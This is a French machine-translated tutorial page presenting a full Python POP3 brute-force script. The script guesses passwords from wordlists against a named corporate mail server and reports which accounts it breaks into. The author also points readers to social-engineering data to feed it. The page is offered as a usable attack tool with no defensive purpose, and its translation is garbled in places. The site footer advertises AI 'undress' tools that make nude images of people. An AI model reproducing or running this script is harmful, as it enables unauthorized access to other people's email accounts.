Maison développement back-end Tutoriel Python Python crée un script de dynamitage pour les boîtes aux lettres d'entreprise

Python crée un script de dynamitage pour les boîtes aux lettres d'entreprise

Feb 06, 2017 pm 02:00 PM

Selon la tâche confiée par le maître, j'ai écrit un script de dynamitage d'e-mails d'entreprise, suivi de FTP, SSH et d'autres scripts de dynamitage.

Permettez-moi d'abord de parler de l'idée générale :

L'idée générale est d'utiliser le module poplib de python pour interagir avec le serveur pop3 et générer des résultats basés sur les informations pertinentes obtenues. Le protocole POP3 n'est pas compliqué. Il utilise également une méthode de questions-réponses. Vous envoyez une commande au serveur, et le serveur répondra certainement par un message.

1. correct

Sys.argv[] est utilisé pour obtenir les paramètres de ligne de commande. sys.argv[0] représente le chemin du fichier du code lui-même, donc les paramètres commencent à 1

. 2. Lisez ensuite le fichier de mot de passe utilisateur Obtenez des informations
3.pop.getwelcome() est utilisé pour obtenir l'état de réponse du serveur de connexion
4 Vient ensuite la partie code principale du script

<.>
server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(&#39; &#39;)[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd
Copier après la connexion
5. Enfin, affichez les informations utilisateur pertinentes

Le code du script est le suivant :

#!/usr/bin/python
# -*- coding: UTF-8 -*-
&#39;&#39;&#39;
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
&#39;&#39;&#39;
 
import threading, time, random, sys, poplib
from copy import copy
 
if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)
 
server = "pop.qiye.163.com"
success = []
 
try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)
 
try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass
 
def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(&#39; &#39;)[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
 
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"
Copier après la connexion
Résultat du test :

Python crée un script de dynamitage pour les boîtes aux lettres dentreprise

Explication :

Le fichier du dictionnaire utilisateur nécessite @ domain.com, similaire à zhangsan@domain.com, lisi@domain.com, wangwu@domain.com. Comme je n'ai pas de compte de messagerie ni de mot de passe d'entreprise, je ne l'ai pas testé avec succès. Si vous êtes intéressé, vous pouvez rechercher des pantalons de travail social pertinents.

Pièce jointe :

Quelle est la différence entre os._exit(), sys.exit() et exit() en python ?

sys.exit(n) quitte le programme et déclenche une exception SystemExit, qui peut être interceptée pour effectuer un travail de nettoyage. La valeur par défaut de n est 0, indiquant une sortie normale. cette exception n'est pas interceptée, elle sera directement sortie ; l'interception de cette exception peut effectuer un travail de nettoyage supplémentaire. Généralement, cette sortie

os._exit(n) est utilisée dans le programme principal pour quitter directement l'interpréteur Python. Le code suivant ne sera pas exécuté, aucune exception ne sera levée et aucun travail de nettoyage associé ne sera effectué. effectué. Il est souvent utilisé pour la sortie des processus enfants.

exit() devrait être le même que exit() dans d'autres langages tels que le langage C


Le Le processus de réception d'e-mails dans pop3 est généralement :

Connectez-vous au serveur pop3 (poplib.POP3.__init__)

Envoyez le nom d'utilisateur et le mot de passe pour vérification (poplib.POP3.user poplib.POP3.pass_ )

Obtenir les informations de courrier dans la boîte aux lettres (poplib.POP3.stat)

Recevoir le courrier (poplib.POP3.retr)

Supprimer le courrier (poplib.POP3.dele)

Quitter (poplib.POP3.quit)


Description de l'état du paramètre de la méthode poplib de la commande

------------------ -------------- -------------------------- ------------------------ ------
USER user username approuve le nom d'utilisateur si cette commande et la commande pass suivante sont. réussi, cela provoquera une transition d'état
PASS pass_ password approuve le mot de passe de l'utilisateur
APOP apop Name, Digest approuve le Digest est un résumé du message MD5
--------------- ----------------------------------- --------------- ----------------------------------- -
STAT stat Aucun Traite le serveur de requêtes pour renvoyer les statistiques à propos de la boîte aux lettres, comme le nombre total d'e-mails et le nombre total d'octets
UIDL uidl [Msg#] Traite l'identifiant unique de l'e-mail renvoyé, chaque identifiant de la session POP3 sera unique
LISTE liste [Msg#] gère le retour du nombre de messages et la taille de chaque message
RETR retr [Msg#] gère le retour du texte intégral du message identifié par le paramètre
DELE dele [Msg #] Le serveur de traitement marquera le mail identifié par le paramètre comme supprimé, exécuté par la commande quit
RSET rset None Le serveur de traitement réinitialisera tous les mails marqués pour suppression, utilisé pour annuler la commande DELE
TOP top [Msg#] traitement Le serveur renverra le n premières lignes de l'e-mail identifié par le paramètre. n doit être un entier positif
NOOP noop Aucun. Le serveur de traitement renvoie une réponse positive

Pour plus d'articles liés au script de dynamitage de Python pour créer des boîtes aux lettres d'entreprise, veuillez faire attention au site Web chinois PHP !

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment résoudre le problème des autorisations rencontré lors de la visualisation de la version Python dans le terminal Linux? Comment résoudre le problème des autorisations rencontré lors de la visualisation de la version Python dans le terminal Linux? Apr 01, 2025 pm 05:09 PM

Solution aux problèmes d'autorisation Lors de la visualisation de la version Python dans Linux Terminal Lorsque vous essayez d'afficher la version Python dans Linux Terminal, entrez Python ...

Comment enseigner les bases de la programmation novice en informatique dans le projet et les méthodes axées sur les problèmes dans les 10 heures? Comment enseigner les bases de la programmation novice en informatique dans le projet et les méthodes axées sur les problèmes dans les 10 heures? Apr 02, 2025 am 07:18 AM

Comment enseigner les bases de la programmation novice en informatique dans les 10 heures? Si vous n'avez que 10 heures pour enseigner à l'informatique novice des connaissances en programmation, que choisissez-vous d'enseigner ...

Comment éviter d'être détecté par le navigateur lors de l'utilisation de Fiddler partout pour la lecture de l'homme au milieu? Comment éviter d'être détecté par le navigateur lors de l'utilisation de Fiddler partout pour la lecture de l'homme au milieu? Apr 02, 2025 am 07:15 AM

Comment éviter d'être détecté lors de l'utilisation de FiddlereVerywhere pour les lectures d'homme dans le milieu lorsque vous utilisez FiddlereVerywhere ...

Comment copier efficacement la colonne entière d'une dataframe dans une autre dataframe avec différentes structures dans Python? Comment copier efficacement la colonne entière d'une dataframe dans une autre dataframe avec différentes structures dans Python? Apr 01, 2025 pm 11:15 PM

Lorsque vous utilisez la bibliothèque Pandas de Python, comment copier des colonnes entières entre deux frames de données avec différentes structures est un problème courant. Supposons que nous ayons deux dats ...

Comment Uvicorn écoute-t-il en permanence les demandes HTTP sans servir_forever ()? Comment Uvicorn écoute-t-il en permanence les demandes HTTP sans servir_forever ()? Apr 01, 2025 pm 10:51 PM

Comment Uvicorn écoute-t-il en permanence les demandes HTTP? Uvicorn est un serveur Web léger basé sur ASGI. L'une de ses fonctions principales est d'écouter les demandes HTTP et de procéder ...

Comment créer dynamiquement un objet via une chaîne et appeler ses méthodes dans Python? Comment créer dynamiquement un objet via une chaîne et appeler ses méthodes dans Python? Apr 01, 2025 pm 11:18 PM

Dans Python, comment créer dynamiquement un objet via une chaîne et appeler ses méthodes? Il s'agit d'une exigence de programmation courante, surtout si elle doit être configurée ou exécutée ...

Comment obtenir des données d'information en contournant le mécanisme anti-frawler d'Investing.com? Comment obtenir des données d'information en contournant le mécanisme anti-frawler d'Investing.com? Apr 02, 2025 am 07:03 AM

Comprendre la stratégie anti-rampe d'investissement.com, Beaucoup de gens essaient souvent de ramper les données d'actualités sur Investing.com (https://cn.investing.com/news/latest-news) ...

See all articles